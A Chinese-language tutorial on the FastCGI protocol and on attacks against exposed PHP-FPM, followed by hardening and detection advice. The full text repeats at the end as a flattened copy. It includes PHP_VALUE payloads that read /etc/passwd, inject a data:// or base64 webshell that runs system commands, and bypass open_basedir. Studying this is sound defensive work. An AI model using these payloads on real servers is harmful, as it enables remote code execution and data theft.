浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法
字数 2259 2025-08-09 17:09:31

Fastcgi 协议分析与 PHP-FPM 攻击方法深度解析

一、Fastcgi 协议基础

1.1 Fastcgi 概述

Fastcgi 是一种高性能的 Web 服务器与应用程序交互的协议,克服了传统 CGI 协议的性能瓶颈。与 CGI 每次请求都 fork 新进程不同,Fastcgi 采用持久化进程处理多个请求。

1.2 Fastcgi 与 PHP-FPM 关系

PHP-FPM (FastCGI Process Manager) 是 PHP 的 Fastcgi 实现,负责管理 PHP 进程池并与 Web 服务器(Nginx/Apache等)通信。

1.3 协议基本结构

Fastcgi 协议基于二进制格式,通过 TCP 或 Unix Socket 传输,主要组成部分:

  • 固定大小的头部(8字节)
  • 可变长度的内容主体

头部格式:

typedef struct {
    unsigned char version;       // 协议版本
    unsigned char type;          // 记录类型
    unsigned char requestIdB1;    // 请求ID高8位
    unsigned char requestIdB0;    // 请求ID低8位
    unsigned char contentLengthB1;// 内容长度高8位
    unsigned char contentLengthB0;// 内容长度低8位
    unsigned char paddingLength;  // 填充长度
    unsigned char reserved;       // 保留字节
} FCGI_Header;

二、Fastcgi 协议详细分析

2.1 记录类型(Type)

Fastcgi 定义了多种记录类型,常见的有:

类型值 常量名 描述
1 FCGI_BEGIN_REQUEST 开始请求
2 FCGI_ABORT_REQUEST 中止请求
3 FCGI_END_REQUEST 结束请求
4 FCGI_PARAMS 传递环境变量和参数
5 FCGI_STDIN 标准输入数据
6 FCGI_STDOUT 标准输出数据
7 FCGI_STDERR 标准错误数据

2.2 通信流程

  1. Web 服务器发送 FCGI_BEGIN_REQUEST 开始请求
  2. 通过 FCGI_PARAMS 传递环境变量和参数
  3. 通过 FCGI_STDIN 传递 POST 数据
  4. PHP-FPM 处理完成后通过 FCGI_STDOUT 返回响应
  5. 最后发送 FCGI_END_REQUEST 结束请求

2.3 参数传递格式

FCGI_PARAMS 中的参数采用 name-value 对格式,有两种编码方式:

  1. 当 name 或 value 长度 < 128 字节时:
    unsigned char nameLength;  // name长度
    unsigned char valueLength; // value长度
    unsigned char nameData[nameLength];
    unsigned char valueData[valueLength];
    
  2. 当 name 或 value 长度 ≥ 128 字节时:
    unsigned char nameLengthB3; /* nameLength >> 24 & 0xff */
    unsigned char nameLengthB2; /* nameLength >> 16 & 0xff */
    unsigned char nameLengthB1; /* nameLength >>  8 & 0xff */
    unsigned char nameLengthB0; /* nameLength       & 0xff */
    unsigned char valueLengthB3;/* valueLength >> 24 & 0xff */
    unsigned char valueLengthB2;/* valueLength >> 16 & 0xff */
    unsigned char valueLengthB1;/* valueLength >>  8 & 0xff */
    unsigned char valueLengthB0;/* valueLength       & 0xff */
    unsigned char nameData[nameLength];
    unsigned char valueData[valueLength];
    

三、PHP-FPM 攻击方法

3.1 攻击原理

当 PHP-FPM 暴露在公网或内网可访问位置时,攻击者可以构造恶意的 Fastcgi 协议数据包,直接与 PHP-FPM 通信,绕过 Web 服务器的安全限制。

3.2 关键攻击参数

通过构造特殊的 FCGI_PARAMS 参数可以实施攻击:

  • PHP_VALUE:设置 PHP 配置项
  • PHP_ADMIN_VALUE:设置 PHP 配置项(优先级更高)
  • SCRIPT_FILENAME:指定执行的 PHP 文件
  • DOCUMENT_ROOT:设置文档根目录

3.3 具体攻击步骤

3.3.1 文件读取攻击

  1. 构造恶意请求设置 auto_prepend_file 为 php 伪协议:
    PHP_VALUE auto_prepend_file=php://filter/convert.base64-encode/resource=/etc/passwd
    
  2. 设置 SCRIPT_FILENAME 为一个存在的 PHP 文件(如 /var/www/html/index.php
  3. PHP-FPM 会先执行文件包含,读取指定文件内容

3.3.2 代码执行攻击

  1. 通过 PHP_VALUEPHP_ADMIN_VALUE 修改配置允许执行危险函数:
    PHP_VALUE allow_url_include=1
    PHP_VALUE auto_prepend_file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
    
  2. 访问时带上 ?cmd=id 即可执行系统命令

3.3.3 写文件攻击

  1. 开启 allow_url_fopenallow_url_include
    PHP_ADMIN_VALUE allow_url_fopen=1
    PHP_ADMIN_VALUE allow_url_include=1
    
  2. 使用 file_put_contents 写入 WebShell:
    PHP_VALUE auto_prepend_file=php://input
    
    然后在 POST body 中写入 PHP 代码

3.4 攻击利用条件

  1. PHP-FPM 服务端口(默认9000)或 Unix Socket 可被访问
  2. 知道服务器上至少一个 PHP 文件的绝对路径(用于 SCRIPT_FILENAME
  3. PHP-FPM 未配置访问控制

四、防御措施

4.1 网络层防御

  1. 禁止将 PHP-FPM 端口暴露在公网
  2. 使用防火墙限制访问来源
    # 只允许本地和Web服务器访问
    iptables -A INPUT -p tcp --dport 9000 -s 127.0.0.1 -j ACCEPT
    iptables -A INPUT -p tcp --dport 9000 -s WEB_SERVER_IP -j ACCEPT
    iptables -A INPUT -p tcp --dport 9000 -j DROP
    

4.2 PHP-FPM 配置加固

  1. 修改 php-fpm.conf 限制可访问的客户端:
    listen.allowed_clients = 127.0.0.1
    
  2. 使用 Unix Socket 代替 TCP 端口:
    listen = /var/run/php-fpm.sock
    
  3. 设置适当的文件权限:
    chmod 660 /var/run/php-fpm.sock
    chown www-data:www-data /var/run/php-fpm.sock
    

4.3 PHP 配置加固

  1. 禁用危险函数:
    disable_functions = exec,passthru,shell_exec,system,proc_open,popen
    
  2. 限制文件操作:
    open_basedir = /var/www/html
    allow_url_fopen = Off
    allow_url_include = Off
    

五、检测与验证

5.1 检测 PHP-FPM 暴露

使用 nmap 扫描目标网络:

nmap -p 9000 TARGET_IP

5.2 协议交互验证

使用 netcat 手动构造 Fastcgi 请求:

# 构造Fastcgi请求头
printf "\x01\x01\x00\x01\x00\x08\x00\x00" > /tmp/fcgi_request
printf "\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01\x00\x00\x00\x00" >> /tmp/fcgi_request

# 发送请求
cat /tmp/fcgi_request | nc 127.0.0.1 9000

5.3 自动化工具

使用现有工具进行测试:

  1. fcgi_exp
  2. FuckFastcgi

六、深入利用技巧

6.1 绕过 open_basedir 限制

通过修改 open_basedir 配置可以绕过限制:

PHP_VALUE open_basedir=/

6.2 利用 PHP.INI 配置

通过修改以下配置实现更复杂的攻击:

PHP_VALUE session.upload_progress.enabled=1
PHP_VALUE session.upload_progress.cleanup=0
PHP_VALUE session.upload_progress.prefix="upload_progress_"
PHP_VALUE session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS"
PHP_VALUE session.upload_progress.freq="1%"

6.3 结合其他协议

利用 php://filter 和 data:// 等伪协议实现无需文件落地的攻击:

PHP_VALUE auto_prepend_file=data://text/plain,<?php system($_GET['cmd']);?>

七、总结

Fastcgi 协议作为 Web 服务器与 PHP 应用的高效通信方式,在配置不当的情况下可能成为严重的安全隐患。理解协议细节和攻击方法有助于更好地防御此类攻击。管理员应确保 PHP-FPM 服务不被直接暴露,并实施严格的安全配置。

Fastcgi 协议分析与 PHP-FPM 攻击方法深度解析 一、Fastcgi 协议基础 1.1 Fastcgi 概述 Fastcgi 是一种高性能的 Web 服务器与应用程序交互的协议,克服了传统 CGI 协议的性能瓶颈。与 CGI 每次请求都 fork 新进程不同,Fastcgi 采用持久化进程处理多个请求。 1.2 Fastcgi 与 PHP-FPM 关系 PHP-FPM (FastCGI Process Manager) 是 PHP 的 Fastcgi 实现,负责管理 PHP 进程池并与 Web 服务器(Nginx/Apache等)通信。 1.3 协议基本结构 Fastcgi 协议基于二进制格式,通过 TCP 或 Unix Socket 传输,主要组成部分: 固定大小的头部(8字节) 可变长度的内容主体 头部格式: 二、Fastcgi 协议详细分析 2.1 记录类型(Type) Fastcgi 定义了多种记录类型,常见的有: | 类型值 | 常量名 | 描述 | |-------|-------|------| | 1 | FCGI_ BEGIN_ REQUEST | 开始请求 | | 2 | FCGI_ ABORT_ REQUEST | 中止请求 | | 3 | FCGI_ END_ REQUEST | 结束请求 | | 4 | FCGI_ PARAMS | 传递环境变量和参数 | | 5 | FCGI_ STDIN | 标准输入数据 | | 6 | FCGI_ STDOUT | 标准输出数据 | | 7 | FCGI_ STDERR | 标准错误数据 | 2.2 通信流程 Web 服务器发送 FCGI_BEGIN_REQUEST 开始请求 通过 FCGI_PARAMS 传递环境变量和参数 通过 FCGI_STDIN 传递 POST 数据 PHP-FPM 处理完成后通过 FCGI_STDOUT 返回响应 最后发送 FCGI_END_REQUEST 结束请求 2.3 参数传递格式 FCGI_PARAMS 中的参数采用 name-value 对格式,有两种编码方式: 当 name 或 value 长度 < 128 字节时: 当 name 或 value 长度 ≥ 128 字节时: 三、PHP-FPM 攻击方法 3.1 攻击原理 当 PHP-FPM 暴露在公网或内网可访问位置时,攻击者可以构造恶意的 Fastcgi 协议数据包,直接与 PHP-FPM 通信,绕过 Web 服务器的安全限制。 3.2 关键攻击参数 通过构造特殊的 FCGI_PARAMS 参数可以实施攻击: PHP_VALUE :设置 PHP 配置项 PHP_ADMIN_VALUE :设置 PHP 配置项(优先级更高) SCRIPT_FILENAME :指定执行的 PHP 文件 DOCUMENT_ROOT :设置文档根目录 3.3 具体攻击步骤 3.3.1 文件读取攻击 构造恶意请求设置 auto_prepend_file 为 php 伪协议: 设置 SCRIPT_FILENAME 为一个存在的 PHP 文件(如 /var/www/html/index.php ) PHP-FPM 会先执行文件包含,读取指定文件内容 3.3.2 代码执行攻击 通过 PHP_VALUE 或 PHP_ADMIN_VALUE 修改配置允许执行危险函数: 访问时带上 ?cmd=id 即可执行系统命令 3.3.3 写文件攻击 开启 allow_url_fopen 和 allow_url_include : 使用 file_put_contents 写入 WebShell: 然后在 POST body 中写入 PHP 代码 3.4 攻击利用条件 PHP-FPM 服务端口(默认9000)或 Unix Socket 可被访问 知道服务器上至少一个 PHP 文件的绝对路径(用于 SCRIPT_FILENAME ) PHP-FPM 未配置访问控制 四、防御措施 4.1 网络层防御 禁止将 PHP-FPM 端口暴露在公网 使用防火墙限制访问来源 4.2 PHP-FPM 配置加固 修改 php-fpm.conf 限制可访问的客户端: 使用 Unix Socket 代替 TCP 端口: 设置适当的文件权限: 4.3 PHP 配置加固 禁用危险函数: 限制文件操作: 五、检测与验证 5.1 检测 PHP-FPM 暴露 使用 nmap 扫描目标网络: 5.2 协议交互验证 使用 netcat 手动构造 Fastcgi 请求: 5.3 自动化工具 使用现有工具进行测试: fcgi_ exp FuckFastcgi 六、深入利用技巧 6.1 绕过 open_ basedir 限制 通过修改 open_basedir 配置可以绕过限制: 6.2 利用 PHP.INI 配置 通过修改以下配置实现更复杂的攻击: 6.3 结合其他协议 利用 php://filter 和 data:// 等伪协议实现无需文件落地的攻击: 七、总结 Fastcgi 协议作为 Web 服务器与 PHP 应用的高效通信方式,在配置不当的情况下可能成为严重的安全隐患。理解协议细节和攻击方法有助于更好地防御此类攻击。管理员应确保 PHP-FPM 服务不被直接暴露,并实施严格的安全配置。